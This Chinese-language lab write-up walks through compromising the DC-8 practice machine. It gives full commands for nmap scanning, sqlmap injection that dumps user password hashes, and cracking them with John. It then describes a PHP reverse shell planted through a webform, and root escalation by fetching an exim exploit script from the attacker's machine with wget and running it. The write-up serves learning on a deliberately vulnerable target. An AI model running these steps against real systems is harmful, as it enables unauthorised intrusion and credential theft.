DC-8靶机渗透测试过程(个人学习)
DC-8靶机下载地址
环境:
攻击机kali的IP地址:192.168.37.131
靶机DC-7的IP地址:未知
一、信息收集
1、主机扫描
方法一:
arp-scan -l

方法二:
nmap -sP 192.168.37.0/24

2、端口扫描
使用nmap扫描靶机端口,可以发现依旧只开放了 22 和 80 端口
nmap -p- -A 192.168.37.148

3、信息探测
既然80端口开放,访问一下80端口的网页

可以发现CMS和DC-7靶场相同,但是并没有发现登录界面,则需要我们进行目录扫描看看是否能扫到后台登录网页
dirsearch -u http://192.168.37.148

最后我通过 robots.txt 这个网页文件中,发现存在一个 /usr/login/ 路径,试着访问可以发现是一个登录网页

二、渗透测试
1、sql注入
在登录网页中尝试爆破和弱口令都不行,因为DC-7的用户名和密码在Github上可以找到也试着上Github上搜素也没有结果
在一开始访问页面,可以发现在 url 中可能会存在sql注入,有参数可以传值来得到不同的网页

试着在后面输入一个单引号" ' ",出现sql报错
我们可以测试一下这是不是一个注入点
sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch

发现存在sql注入,那后面就是爆库爆表爆字段爆内容一步一步的了
爆库
sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch --dbs


爆表
sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch -D 'd7db' --tables


爆字段
sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch -D 'd7db' -T 'users' --columns


爆内容
爆破完字段可以发现存在的许多字段名,那我们当然是查询可疑的字段,例如 name、login、pass
sqlmap -u "http://192.168.37.148/?nid=1" --random-agent --batch -D 'd7db' -T 'users' -C name,pass,login -dump

最终可以得到admin 和 john 账户的密码

2、john爆破
提取到了 admin 账户和 john 账户的密码,但是他们都被加密了,我们可以把密码复制到一个文件中

使用 john 工具进行破解

这里我爆了半天没有结果,似乎是因为 admin 爆破不出来以至于跑了很久我就给他停掉了,如何使用参数 --show 查看,可以发现 john 账户的密码被爆破出来了

3、反弹shell
试着使用 john 账户进行 ssh 连接,但是失败了,没有公钥

再来到登录页面尝试使用该用户登录

成功登录网页后,在网页中查找可以利用的点,在如下图所示的地方,有一个提交表单

我们随便输入点内容提交过后会得到一个内容, 这里先注意一下

点击上方 Edit、Webform、Results 都会进入一个设置

在 WEBFROM 中,可以在 From Setting 中发现前面我们输入内容提交表单后回显的内容,这里就说明前面的表单会触发这里的内容,我们就可以更改这一句话
在Text format 中可以发现能使用 PHP 解析文本的内容,联想 DC-7 的内容是不是也可以写一个反弹 shell 的命令然后通过前面的表单来触发这个php代码

更改Text format 为 PHP code ,更改内容写一个反弹shell

在kali开启侦听

回到表单中随意输入内容进行提交,可以发现成功执行php文本内容

回到kali中也可以发现已经拿到了www-data的shell 了

4、提取权限
利用 python 反弹一个交互式的界面
python -c "import pty;pty.spawn('/bin/bash')"
查看suid权限
find / -type -f -perm /4000 2>/dev/null

尝试利用exim来提取权限,先查看exim的版本

exim版本号为 4.89,去漏洞库中搜索一下该版本是否存在哪些可利用的漏洞

可以发现有一个 46996.sh 的脚本文件可以进行利用,将脚本复制到当前文件夹中
cp /usr/share/exploitdb/exploits/linux/local/46996.sh exim.sh
![]()
再利用 python 开启 http 服务
python -m http.server 626
![]()
回到靶机的shell中,首先切换到tmp目录下,再使用wget命令将这个文件下载下来
wget http://192.168.37.131:626/exim.sh

当前该该文件的权限只有读取和写入权限,但不能被执行

使用 chomd 修改该文件的权限

根据脚本内容的提示输入命令,即可运行执行脚本内容
./exim.sh -m netcat

输入id可以发现已经是root权限了说明已经提权成功,但是每次root权限只有一会的时间可以使用,所以快些进入 root 目录提取最总的 flag



浙公网安备 33010602011771号